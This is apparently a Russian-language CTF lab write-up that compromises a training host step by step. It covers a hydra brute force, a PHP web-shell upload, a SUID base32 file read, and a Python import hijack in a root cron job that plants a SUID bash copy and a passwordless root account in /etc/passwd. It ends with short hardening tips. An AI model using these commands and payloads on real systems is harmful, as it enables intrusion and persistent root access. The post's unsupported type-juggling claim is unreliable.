obuchenie_post
November 26

День 21. Таск "Логово хакера"




Таск: Добро пожаловать в Логово хакера – здесь реальность встречается с виртуальным миром

Шаг 1: Разведка — Ищем входную дверь

-NMAP-

8000 порт

-DIRSEARCH-

/errors.php

Данный код не является ошибкой - это настройки отображения ошибок в PHP. Давайте разберем по частям:

// Включает вывод ошибок в браузер ini_set('display_errors', '1');

// Включает вывод ошибок, возникающих при запуске PHP ini_set('display_startup_errors', '1');

// Включает отчетность обо ВСЕХ типах ошибок error_reporting(E_ALL);

Шаг 2: Взлом авторизации — Брутфорс пароля

что за SOURCE?

http://192.168.2.210:8000/login.php?source

🎯 Критическая находка - Уязвимость сравнения хешей!

if ($username == $admin_username && hash('sha224', $password) == $admin_password) {

Проблема: Используется нестрогое сравнение == вместо ===

Уязвимость: Type Juggling Attack (атака на приведение типов) - а значит когда логин будет равен admin, а пароль равен "0" - будет успешная авторизация.

3)Атака

Запускаем перебор через hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.2.210 -s 8000 http-post-form "/login.php:username=^USER^&password=^PASS^:F=invalid" -vV -f

Результат: admin:10885164793773

Шаг 3: Загрузка веб-шелла — Получаем RCE

Получаем доступ к http://192.168.2.210:8000/index.php

Залогинившись, видим форму загрузки файлов. Заливаем простой PHP-шелл:

<?php system($_GET["c"]); ?>

Файл сохраняется в /uploads/shell-BC088852.php. Проверяем доступ:

curl "http://192.168.2.210:8000/uploads/shell-BC088852.php?c=whoami"

Результат: www-data — мы внутри!

Шаг 4: Эскалация привилегий → thomas

Ищем SUID-бинарники:

find /usr/bin -perm -4000 -type f 2>/dev/null

Находка: /usr/bin/base32 с SUID-битом — это подозрительно и опасно!

Используем его для чтения файлов от пользователя thomas:

/usr/bin/base32 /home/thomas/first_part | base32 -d

Результат: CODEBY{Y0U_F0UND_4ND_ — первая часть флага!

/usr/bin/base32 /home/thomas/secret.txt | base32 -d

Результат: It's a secret no one else can know - rVz8fsL4pV9Y — это пароль от SSH!

Подключаемся по SSH:

ssh thomas@192.168.2.210

Мы внутри как thomas.

Шаг 5: Эскалация привилегий → root

В директории /opt/healthcheck/ видим Python-скрипт, который запускается по крону от root:

#!/usr/bin/env python3
import os
import sys
import shutil
import time
import health2check # Уязвимый импорт!

Уязвимость: Python ищет модуль health2check в текущей директории. Мы можем подсунуть свой модуль!

Создаем /opt/healthcheck/health2check.py:

import os
import sys

def check_health():
os.system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
os.system("echo 'root2::0:0::/root:/bin/bash' >> /etc/passwd")

if __name__ == "__main__":
check_health()
elif __name__ == "health2check":
check_health()

check_health()

Ждём не более минуты, пока cron не выполнится, и получаем:

  • SUID-копию bash: /tmp/rootbash
  • Нового пользователя root2 без пароля

Становимся root:

su root2

Шаг 6: Флаг — Финальный аккорд

В директории /root/ лежит файл last_part:

cat /root/last_part

Результат: BURN3D_D0WN_7H3_L41R}

Полный флаг: CODEBY{Y0U_F0UND_4ND_BURN3D_D0WN_7H3_L41R}


Тут я подумал, ну вот взломали - а как исправить?

Теперь в каждом посте буду писать о том как защитить:

🔧 Рекомендации по защите

  • Используйте строгое сравнение (===) в PHP
  • Настройте rate-limiting на форму авторизации
  • Регулярно аудить SUID-бинарники
  • Для Python-скриптов используйте абсолютные пути импорта
  • Запретите выполнение PHP в директориях загрузки

Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!